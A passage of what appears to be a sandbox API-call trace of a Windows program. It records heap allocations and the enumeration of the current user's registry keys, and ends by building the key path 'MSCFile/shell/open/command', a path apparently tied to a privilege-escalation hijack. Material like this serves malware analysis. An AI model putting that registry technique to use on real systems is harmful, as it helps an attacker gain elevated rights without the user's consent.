layout", cchWideChar=15, lpMultiByteStr=0x439570, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.178] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x4333f8, cchName=0x104 | out: lpName="Network") returned 0x0 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x4394e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.178] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x4333f8, cchName=0x104 | out: lpName="Printers") returned 0x0 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x439570, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.179] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0x4333f8, cchName=0x104 | out: lpName="Software") returned 0x0 [0262.179] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0262.179] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x4394e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0262.179] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.179] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.179] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.179] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.179] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb60 | out: phkResult=0x18fb60*=0x134) returned 0x0 [0262.179] RegCloseKey (hKey=0x80000001) returned 0x0 [0262.179] RegEnumKeyW (in: hKey=0x134, dwIndex=0x0, lpName=0x4333f8, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0262.179] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0262.179] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x439570, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0262.179] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.179] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.179] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.179] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.179] RegEnumKeyW (in: hKey=0x134, dwIndex=0x1, lpName=0x4333f8, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0262.179] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0262.179] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x4394e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0262.179] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.179] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.179] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.179] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.180] RegEnumKeyW (in: hKey=0x134, dwIndex=0x2, lpName=0x4333f8, cchName=0x104 | out: lpName="Clients") returned 0x0 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x439570, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.180] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.180] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.180] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.180] RegEnumKeyW (in: hKey=0x134, dwIndex=0x3, lpName=0x4333f8, cchName=0x104 | out: lpName="Google") returned 0x0 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x4394e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.180] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.180] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.180] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.180] RegEnumKeyW (in: hKey=0x134, dwIndex=0x4, lpName=0x4333f8, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x439570, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.180] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.180] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.180] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.180] RegEnumKeyW (in: hKey=0x134, dwIndex=0x5, lpName=0x4333f8, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0262.180] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x4394e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.181] RegEnumKeyW (in: hKey=0x134, dwIndex=0x6, lpName=0x4333f8, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x439570, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.181] RegEnumKeyW (in: hKey=0x134, dwIndex=0x7, lpName=0x4333f8, cchName=0x104 | out: lpName="Mozilla") returned 0x0 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozilla", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozilla", cchWideChar=7, lpMultiByteStr=0x4394e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozilla", lpUsedDefaultChar=0x0) returned 7 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.181] RegEnumKeyW (in: hKey=0x134, dwIndex=0x8, lpName=0x4333f8, cchName=0x104 | out: lpName="Netscape") returned 0x0 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netscape", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netscape", cchWideChar=8, lpMultiByteStr=0x439570, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netscape", lpUsedDefaultChar=0x0) returned 8 [0262.181] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.181] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.182] RegEnumKeyW (in: hKey=0x134, dwIndex=0x9, lpName=0x4333f8, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x4394e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.182] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.182] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.182] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.182] RegEnumKeyW (in: hKey=0x134, dwIndex=0xa, lpName=0x4333f8, cchName=0x104 | out: lpName="Policies") returned 0x0 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x439570, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.182] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.182] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.182] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.182] RegEnumKeyW (in: hKey=0x134, dwIndex=0xb, lpName=0x4333f8, cchName=0x104 | out: lpName="Wow6432Node") returned 0x0 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wow6432node", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wow6432node", cchWideChar=11, lpMultiByteStr=0x4394e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wow6432node", lpUsedDefaultChar=0x0) returned 11 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.182] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.182] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.182] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.182] RegEnumKeyW (in: hKey=0x134, dwIndex=0xc, lpName=0x4333f8, cchName=0x104 | out: lpName="Classes") returned 0x0 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0262.182] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x439570, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.183] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.183] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.183] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.183] RegOpenKeyExW (in: hKey=0x134, lpSubKey="Classes", ulOptions=0x0, samDesired=0x2010b, phkResult=0x18fb60 | out: phkResult=0x18fb60*=0x130) returned 0x0 [0262.183] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4333f8) returned 1 [0262.183] RegCloseKey (hKey=0x134) returned 0x0 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x4333f8 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.183] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x439e98 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.183] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.183] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439e98) returned 1 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4394e0, cbMultiByte=26, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4394e0, cbMultiByte=26, lpWideCharStr=0x1efebf8, cchWideChar=26 | out: lpWideCharStr="MSCFile/shell/open/command") returned 26 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efec80 [0262.183] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd630 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd498 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efed08 [0262.183] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.183] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd488 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efed90 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd478 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efee18 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd468 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd648 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd458 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeea0 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd448 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efef28 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd438 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efefb0 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd428 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1eff038 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efed08) returned 1 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd498) returned 1 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efed90) returned 1 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd488) returned 1 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efee18) returned 1 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd478) returned 1 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd468) returned 1 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd630) returned 